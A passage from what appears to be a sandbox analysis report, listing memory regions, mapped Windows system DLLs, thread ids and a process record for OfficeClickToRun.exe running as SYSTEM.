"\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 4500 start_va = 0x7fefab10000 end_va = 0x7fefac36fff monitored = 0 entry_point = 0x7fefab110ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4501 start_va = 0x7fefaf50000 end_va = 0x7fefaf68fff monitored = 0 entry_point = 0x7fefaf52b50 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 4502 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 4503 start_va = 0x7fefbda0000 end_va = 0x7fefbdccfff monitored = 0 entry_point = 0x7fefbda1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 4504 start_va = 0x7fefbf70000 end_va = 0x7fefbf7bfff monitored = 0 entry_point = 0x7fefbf71064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4505 start_va = 0x7fefbf80000 end_va = 0x7fefc03afff monitored = 0 entry_point = 0x7fefbf86de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 4506 start_va = 0x7fefc040000 end_va = 0x7fefc046fff monitored = 0 entry_point = 0x7fefc0414b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 4507 start_va = 0x7fefc130000 end_va = 0x7fefc14afff monitored = 0 entry_point = 0x7fefc132068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 4508 start_va = 0x7fefc150000 end_va = 0x7fefc16dfff monitored = 0 entry_point = 0x7fefc1513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4509 start_va = 0x7fefc2a0000 end_va = 0x7fefc2a9fff monitored = 0 entry_point = 0x7fefc2a3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 4510 start_va = 0x7fefc2b0000 end_va = 0x7fefc2bcfff monitored = 0 entry_point = 0x7fefc2b1348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 4511 start_va = 0x7fefc3a0000 end_va = 0x7fefc3e6fff monitored = 0 entry_point = 0x7fefc3a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 4512 start_va = 0x7fefc630000 end_va = 0x7fefc636fff monitored = 0 entry_point = 0x7fefc63142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 4513 start_va = 0x7fefc640000 end_va = 0x7fefc694fff monitored = 0 entry_point = 0x7fefc641054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 4514 start_va = 0x7fefc6a0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6a3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 4515 start_va = 0x7fefc810000 end_va = 0x7fefc831fff monitored = 0 entry_point = 0x7fefc815d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 4516 start_va = 0x7fefc890000 end_va = 0x7fefc8befff monitored = 0 entry_point = 0x7fefc891064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 4517 start_va = 0x7fefcc40000 end_va = 0x7fefcc4afff monitored = 0 entry_point = 0x7fefcc41030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 4518 start_va = 0x7fefcc70000 end_va = 0x7fefcc94fff monitored = 0 entry_point = 0x7fefcc79658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4519 start_va = 0x7fefcca0000 end_va = 0x7fefccaefff monitored = 0 entry_point = 0x7fefcca1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4520 start_va = 0x7fefcd90000 end_va = 0x7fefcda3fff monitored = 0 entry_point = 0x7fefcd910e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 4521 start_va = 0x7fefcdb0000 end_va = 0x7fefcdbefff monitored = 0 entry_point = 0x7fefcdb19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4522 start_va = 0x7fefce60000 end_va = 0x7fefcecbfff monitored = 0 entry_point = 0x7fefce62780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4523 start_va = 0x7fefced0000 end_va = 0x7fefcf05fff monitored = 0 entry_point = 0x7fefced1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 4524 start_va = 0x7fefd180000 end_va = 0x7fefd382fff monitored = 0 entry_point = 0x7fefd1a3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4525 start_va = 0x7fefd390000 end_va = 0x7fefd3bdfff monitored = 0 entry_point = 0x7fefd391010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4526 start_va = 0x7fefd3c0000 end_va = 0x7fefd49afff monitored = 0 entry_point = 0x7fefd3e0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4527 start_va = 0x7fefd4a0000 end_va = 0x7fefd5ccfff monitored = 0 entry_point = 0x7fefd4eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4528 start_va = 0x7fefd5d0000 end_va = 0x7fefd640fff monitored = 0 entry_point = 0x7fefd5e1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4529 start_va = 0x7fefd650000 end_va = 0x7fefd758fff monitored = 0 entry_point = 0x7fefd651064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4530 start_va = 0x7fefd760000 end_va = 0x7fefd7b1fff monitored = 0 entry_point = 0x7fefd7610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 4531 start_va = 0x7fefda20000 end_va = 0x7fefda86fff monitored = 0 entry_point = 0x7fefda2b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4532 start_va = 0x7fefda90000 end_va = 0x7fefda9dfff monitored = 0 entry_point = 0x7fefda91080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4533 start_va = 0x7fefdaa0000 end_va = 0x7fefdaa7fff monitored = 0 entry_point = 0x7fefdaa1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 4534 start_va = 0x7fefdb50000 end_va = 0x7fefdbe8fff monitored = 0 entry_point = 0x7fefdb51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4535 start_va = 0x7fefdbf0000 end_va = 0x7fefdcb8fff monitored = 0 entry_point = 0x7fefdc6a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4536 start_va = 0x7fefdcc0000 end_va = 0x7fefdd96fff monitored = 0 entry_point = 0x7fefdcc3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4537 start_va = 0x7fefdda0000 end_va = 0x7fefddecfff monitored = 0 entry_point = 0x7fefdda1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 4538 start_va = 0x7fefeb80000 end_va = 0x7fefeb9efff monitored = 0 entry_point = 0x7fefeb860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4539 start_va = 0x7feff0d0000 end_va = 0x7feff16efff monitored = 0 entry_point = 0x7feff0d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4540 start_va = 0x7feff180000 end_va = 0x7feff180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4541 start_va = 0x7fffff84000 end_va = 0x7fffff85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 4542 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 4543 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 4544 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 4545 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 4546 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 4547 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 4548 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 4549 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 4550 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 4551 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 4552 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 4553 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 4554 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4555 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 4556 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 4557 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 4558 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 4559 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4560 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4561 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Thread: id = 401 os_tid = 0xdb0 Thread: id = 402 os_tid = 0x93c Thread: id = 403 os_tid = 0x168 Thread: id = 404 os_tid = 0x268 Thread: id = 405 os_tid = 0x6e8 Thread: id = 406 os_tid = 0x7bc Thread: id = 407 os_tid = 0x74c Thread: id = 408 os_tid = 0x65c Thread: id = 409 os_tid = 0x650 Thread: id = 410 os_tid = 0x630 Thread: id = 411 os_tid = 0x618 Thread: id = 412 os_tid = 0x614 Thread: id = 413 os_tid = 0x610 Thread: id = 414 os_tid = 0x5a4 Thread: id = 415 os_tid = 0x578 Thread: id = 416 os_tid = 0x558 Thread: id = 417 os_tid = 0x500 Thread: id = 418 os_tid = 0x4ec Thread: id = 419 os_tid = 0x4d4 Thread: id = 420 os_tid = 0x4cc Thread: id = 512 os_tid = 0x374 Process: id = "21" image_name = "officeclicktorun.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe" page_root = "0x6acf1000" os_pid = "0x5c4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d0" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" /service" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 5275 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5276 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5277 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5278 start_va = 0x40000 end_va = 0x42fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 5279 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5280 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 5281 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5282 start_va = 0x1d0000 end_va = 0x1dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 5283 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 5284 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 5285 start_va = 0x200000 end_va = 0x201fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 5286 start_va = 0x210000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 5287 start_va = 0x310000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 5288 start_va = 0x3d0000 end_va = 0x3d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 5289 start_va = 0x3e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 5290 start_va = 0x3f0000 end_va = 0x3f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 5291 start_va = 0x400000 end_va = 0x401fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 5292 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 5293 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 5294 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 5295 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5296 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5297 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 5298 start_va = 0x470000 end_va = 0x470fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 5299 start_va = 0x480000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 5300 start_va = 0x580000 end_va = 0x707fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 5301 start_va = 0x710000 end_va = 0x890fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 5302 start_va = 0x8a0000 end_va = 0xb6efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5303 start_va = 0xb70000 end_va = 0xb70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b70000" filename = "" Region: id = 5304 start_va = 0xb80000 end_va = 0xb80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 5305 start_va = 0xb90000 end_va = 0xb90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b90000" filename = "" Region: id = 5306 start_va = 0xba0000 end_va = 0xba0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ba0000" filename = "" Region: id = 5307 start_va = 0xbb0000 end_va = 0xbb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bb0000" filename = "" Region: id = 5308 start_va = 0xbc0000 end_va = 0xbc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bc0000" filename = "" Region: id = 5309 start_va = 0xbd0000 end_va = 0xbd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 5310 start_va = 0xbe0000 end_va = 0xbe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 5311 start_va = 0xbf0000 end_va = 0xceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 5312 start_va = 0xcf0000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 5313 start_va = 0xd10000 end_va = 0xd11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 5314 start_va = 0xd20000 end_va = 0xd27fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 5315 start_va = 0xd30000 end_va = 0xe2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 5316 start_va = 0xe30000 end_va = 0xeeffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 5317 start_va = 0xef0000 end_va = 0xef3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 5318 start_va = 0xf00000 end_va = 0xf03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 5319 start_va = 0xf10000 end_va = 0x100ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 5320 start_va = 0x1030000 end_va = 0x112ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 5321 start_va = 0x1130000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 5322 start_va = 0x12b0000 end_va = 0x13affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 5323 start_va = 0x1400000 end_va = 0x140ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 5324 start_va = 0x1590000 end_va = 0x168ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 5325 start_va = 0x18a0000 end_va = 0x199ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018a0000" filename = "" Region: id = 5326 start_va = 0x19c0000 end_va = 0x1abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019c0000" filename = "" Region: id = 5327 start_va = 0x1ac0000 end_va = 0x1bc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ac0000" filename = "" Region: id = 5328 start_va = 0x1bd0000 end_va = 0x1dd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001bd0000" filename = "" Region: id = 5329 start_va = 0x1de0000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 5330 start_va = 0x2040000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 5331 start_va = 0x21c0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 5332 start_va = 0x22e0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 5333 start_va = 0x2500000 end_va = 0x25fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 5334 start_va = 0x2600000 end_va = 0x26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 5335 start_va = 0x2740000 end_va = 0x283ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 5336 start_va = 0x28d0000 end_va = 0x29cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028d0000" filename = "" Region: id = 5337 start_va = 0x2b00000 end_va = 0x2b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 5338 start_va = 0x2c70000 end_va = 0x2ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 5339 start_va = 0x2e40000 end_va = 0x2ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e40000" filename = "" Region: id = 5340 start_va = 0x2ec0000 end_va = 0x32bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 5341 start_va = 0x3460000 end_va = 0x34dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003460000" filename = "" Region: id = 5342 start_va = 0x3870000 end_va = 0x3c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003870000" filename = "" Region: id = 5343 start_va = 0x3c70000 end_va = 0x446ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c70000" filename = "" Region: id = 5344 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5345 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5346 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5347 start_va = 0x77020000 end_va = 0x77026fff monitored = 0 entry_point = 0x7702106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 5348 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5349 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5350 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5351 start_va = 0x13f900000 end_va = 0x13fba8fff monitored = 0 entry_point = 0x13f922188 region_type = mapped_file name = "officeclicktorun.exe" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe") Region: id = 5352 start_va = 0x7fef2170000 end_va = 0x7fef2361fff monitored = 0 entry_point = 0x7fef217101c region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 5353 start_va = 0x7fef41e0000 end_va = 0x7fef41ebfff monitored = 0 entry_point = 0x7fef41e602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 5354 start_va = 0x7fef5180000 end_va = 0x7fef51ccfff monitored = 0 entry_point = 0x7fef519792c region_type = mapped_file name = 